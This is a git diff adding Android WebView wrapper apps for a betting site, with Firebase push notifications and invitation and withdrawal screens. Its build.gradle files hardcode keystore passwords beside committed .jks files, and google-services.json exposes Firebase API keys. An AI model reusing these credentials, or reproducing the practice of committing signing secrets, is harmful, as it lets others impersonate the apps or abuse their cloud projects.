diff --git a/funpokies/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/funpokies/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/funpokies/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/gembetaus/.gitignore b/gembetaus/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/gembetaus/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/gembetaus/build.gradle b/gembetaus/build.gradle new file mode 100644 index 0000000..ea37cc1 --- /dev/null +++ b/gembetaus/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.gembetaus36" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + release { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "gembetaus" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/gembetaus/dskjweb.jks b/gembetaus/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/gembetaus/dskjweb.jks differ diff --git a/gembetaus/google-services.json b/gembetaus/google-services.json new file mode 100644 index 0000000..5d5de85 --- /dev/null +++ b/gembetaus/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "383234177811", + "project_id": "gembet36-cfee1", + "storage_bucket": "gembet36-cfee1.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:383234177811:android:551bc580ff5577cfc0b8e6", + "android_client_info": { + "package_name": "com.web.gembetaus36" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyBorjnnfmnsEu1whCH7WmOUYGIDl4z22I8" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/gembetaus/ppn.jks b/gembetaus/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/gembetaus/ppn.jks differ diff --git a/gembetaus/proguard-rules.pro b/gembetaus/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/gembetaus/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/gembetaus/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/gembetaus/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/gembetaus/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/gembetaus/src/main/AndroidManifest.xml b/gembetaus/src/main/AndroidManifest.xml new file mode 100644 index 0000000..d65be3e --- /dev/null +++ b/gembetaus/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/gembetaus/src/main/java/com/web/gembetaus/MainActivity.java b/gembetaus/src/main/java/com/web/gembetaus/MainActivity.java new file mode 100644 index 0000000..e680bda --- /dev/null +++ b/gembetaus/src/main/java/com/web/gembetaus/MainActivity.java @@ -0,0 +1,65 @@ +package com.web.gembetaus; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import androidx.annotation.NonNull; + +import com.bumptech.glide.Glide; +import com.google.android.gms.tasks.OnCompleteListener; +import com.google.android.gms.tasks.Task; +import com.web.base.LogUtils; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 53; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://gem9bet.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#000000"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#0e192d"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); +// showTopV1.setImageResource(R.mipmap.start_gifs); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(new OnCompleteListener() { + @Override + public void onComplete(@NonNull Task task) { + String msg = "Subscribed"; + if (!task.isSuccessful()) { + msg = "Subscribe failed"; + } + LogUtils.i("结果:"+msg); + } + }); + + +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/gembetaus/src/main/java/com/web/gembetaus/MyFirebaseMessageingService.java b/gembetaus/src/main/java/com/web/gembetaus/MyFirebaseMessageingService.java new file mode 100644 index 0000000..0024cb9 --- /dev/null +++ b/gembetaus/src/main/java/com/web/gembetaus/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.gembetaus; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/gembetaus/src/main/java/com/web/gembetaus/WebApplication.java b/gembetaus/src/main/java/com/web/gembetaus/WebApplication.java new file mode 100644 index 0000000..855c25c --- /dev/null +++ b/gembetaus/src/main/java/com/web/gembetaus/WebApplication.java @@ -0,0 +1,49 @@ +package com.web.gembetaus; + +import android.app.Application; +import android.content.Context; + +import com.google.firebase.messaging.FirebaseMessaging; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import com.web.base.LogUtils; + +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + + FirebaseMessaging.getInstance().getToken().addOnCompleteListener(task -> { + if(task.isSuccessful()){ + String pushId = task.getResult(); + LogUtils.i("token是啥:"+pushId); + }else{ + LogUtils.i("token是啥:获取 Firebase Push ID 失败"); + + } + }); + } +} diff --git a/gembetaus/src/main/res/drawable-anydpi/ic_action_back.xml b/gembetaus/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/gembetaus/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/gembetaus/src/main/res/drawable-hdpi/ic_action_back.png b/gembetaus/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/gembetaus/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/gembetaus/src/main/res/drawable-mdpi/ic_action_back.png b/gembetaus/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/gembetaus/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/gembetaus/src/main/res/drawable-v24/ic_launcher_foreground.xml b/gembetaus/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/gembetaus/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/gembetaus/src/main/res/drawable-xhdpi/ic_action_back.png b/gembetaus/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/gembetaus/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/gembetaus/src/main/res/drawable-xxhdpi/ic_action_back.png b/gembetaus/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/gembetaus/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/gembetaus/src/main/res/drawable/big_bg.xml b/gembetaus/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..aff25d2 --- /dev/null +++ b/gembetaus/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/gembetaus/src/main/res/drawable/ic_launcher_background.xml b/gembetaus/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/gembetaus/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/gembetaus/src/main/res/drawable/input_bg.xml b/gembetaus/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/gembetaus/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/gembetaus/src/main/res/drawable/pass_word_bg.xml b/gembetaus/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/gembetaus/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/gembetaus/src/main/res/drawable/pass_word_bg1.xml b/gembetaus/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/gembetaus/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/gembetaus/src/main/res/drawable/pass_word_bg2.xml b/gembetaus/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/gembetaus/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/gembetaus/src/main/res/drawable/shape_btn_bg.xml b/gembetaus/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/gembetaus/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/gembetaus/src/main/res/drawable/shape_dialog_bg2.xml b/gembetaus/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/gembetaus/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/gembetaus/src/main/res/drawable/shape_dialog_bg3.xml b/gembetaus/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/gembetaus/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/gembetaus/src/main/res/drawable/shape_dialog_bg_new.xml b/gembetaus/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/gembetaus/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/gembetaus/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/gembetaus/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/gembetaus/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/gembetaus/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/gembetaus/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/gembetaus/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/gembetaus/src/main/res/mipmap-hdpi/ic_empty.png b/gembetaus/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/gembetaus/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/gembetaus/src/main/res/mipmap-hdpi/ic_pull_down.png b/gembetaus/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/gembetaus/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/gembetaus/src/main/res/mipmap-xhdpi/ic_close.png b/gembetaus/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/gembetaus/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/gembetaus/src/main/res/mipmap-xhdpi/ic_menu.png b/gembetaus/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/gembetaus/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/gembetaus/src/main/res/mipmap-xxhdpi/app_logo.png b/gembetaus/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..06e0bd1 Binary files /dev/null and b/gembetaus/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/gembetaus/src/main/res/values-en/strings.xml b/gembetaus/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/gembetaus/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/gembetaus/src/main/res/values-night/themes.xml b/gembetaus/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/gembetaus/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/gembetaus/src/main/res/values/colors.xml b/gembetaus/src/main/res/values/colors.xml new file mode 100644 index 0000000..9c9b8c9 --- /dev/null +++ b/gembetaus/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #000000 + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/gembetaus/src/main/res/values/strings.xml b/gembetaus/src/main/res/values/strings.xml new file mode 100644 index 0000000..3848f94 --- /dev/null +++ b/gembetaus/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + Gem9bet + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/gembetaus/src/main/res/values/themes.xml b/gembetaus/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/gembetaus/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/gembetaus/src/main/res/xml/app_updater_paths.xml b/gembetaus/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/gembetaus/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/gembetaus/src/main/res/xml/network_security_config.xml b/gembetaus/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/gembetaus/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/gembetaus/src/main/res/xml/provider_paths.xml b/gembetaus/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/gembetaus/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/gembetaus/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/gembetaus/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/gembetaus/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/gg66au/.gitignore b/gg66au/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/gg66au/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/gg66au/build.gradle b/gg66au/build.gradle new file mode 100644 index 0000000..bc9fa4c --- /dev/null +++ b/gg66au/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.xyz.gg66au" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + release { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "gg66au" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/gg66au/dskjweb.jks b/gg66au/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/gg66au/dskjweb.jks differ diff --git a/gg66au/google-services.json b/gg66au/google-services.json new file mode 100644 index 0000000..1e8f7f1 --- /dev/null +++ b/gg66au/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "757741719996", + "project_id": "notig4g66", + "storage_bucket": "notig4g66.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:757741719996:android:6fa024af53b8cb5c45dbb9", + "android_client_info": { + "package_name": "com.xyz.gg66au" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyA9kx3l5khta7C6YXpj6GO48KXNg9LMETg" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/gg66au/ppn.jks b/gg66au/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/gg66au/ppn.jks differ diff --git a/gg66au/proguard-rules.pro b/gg66au/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/gg66au/proguard-rules.pro @@ -0,0 +1,32 @@ 